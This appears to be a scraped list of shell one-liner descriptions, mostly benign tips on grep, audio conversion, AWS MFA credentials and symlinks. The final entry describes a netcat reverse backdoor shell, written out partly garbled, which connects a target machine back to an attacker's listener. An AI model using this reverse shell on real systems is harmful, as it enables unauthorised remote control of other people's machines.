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Redirect STDIN
Several times, I find myself hitting my up arrow, and changing the search term. Unfortunately, I find myself wasting too much time typing: $ grep kernel /var/log/messages Redirecting STDIN allows me to put the search term at the end so I less cursor movement to change what I'm searching for: $ < /var/log/messages grep kernel If you're using the emacs keyboard binding, then after you press your up arrow, press CTRL+w to erase the word. If this has already been submitted, I couldn't find it with the search utility.

Convert all .wav to .mp3
Audio convert is a script that uses zenity and lame to transcode virtually any format to any other format provided you have the libraries installed to do so.

Follow a new friend on twitter
replace username, password, and nameofnewfriend with proper values. Remember to escape things like ! or & in your password

Get AWS temporary credentials ready to export based on a MFA virtual appliance
You might want to secure your AWS operations requiring to use a MFA token. But then to use API or tools, you need to pass credentials generated with a MFA token. This commands asks you for the MFA code and retrieves these credentials using AWS Cli. To print the exports, you can use: `awk '{ print "export AWS_ACCESS_KEY_ID=\"" $1 "\"\n" "export AWS_SECRET_ACCESS_KEY=\"" $2 "\"\n" "export AWS_SESSION_TOKEN=\"" $3 "\"" }'` You must adapt the command line to include: * $MFA_IDis ARN of the virtual MFA or serial number of the physical one * TTL for the credentials

Convert seconds to [DD:][HH:]MM:SS
Converts any number of seconds into days, hours, minutes and seconds. sec2dhms() { declare -i SS="$1" D=$(( SS / 86400 )) H=$(( SS % 86400 / 3600 )) M=$(( SS % 3600 / 60 )) S=$(( SS % 60 )) [ "$D" -gt 0 ] && echo -n "${D}:" [ "$H" -gt 0 ] && printf "%02g:" "$H" printf "%02g:%02g\n" "$M" "$S" }

Non Numeric Check
use to execute a block of code only if $var is numeric

List all symbolic links in a directory matching a string
Finds all symbolic links in the specified directory which match the specified string pattern. I used this when upgrading from an Apple-supported version of Java 6 (1.6.0_65) to an Oracle-supported version (1.7.0_55) on Mac OS X 10.8.5 to find out which executables were pointing to /System/Library/Frameworks/JavaVM.framework/Versions/Current/Commands (Apple version) vs. /Library/Java/JavaVirtualMachines/jdk1.7.0_55.jdk/Contents/Home/bin (Oracle version). However, it appears the current JDK installation script already takes care of modifying the links.

Follow a new friend on twitter
replace username, password, and nameofnewfriend with proper values. Remember to escape things like ! or & in your password

vim multiple files at one time, split vertically.

Reverse Backdoor Command Shell using Netcat
This is sneaky. First, start a listening service on your box. $ nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. $ exec 5/dev/tcp//8080;cat &5 >&5; done You can send it to the background like this: $ (exec 5/dev/tcp//8080;cat &5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.


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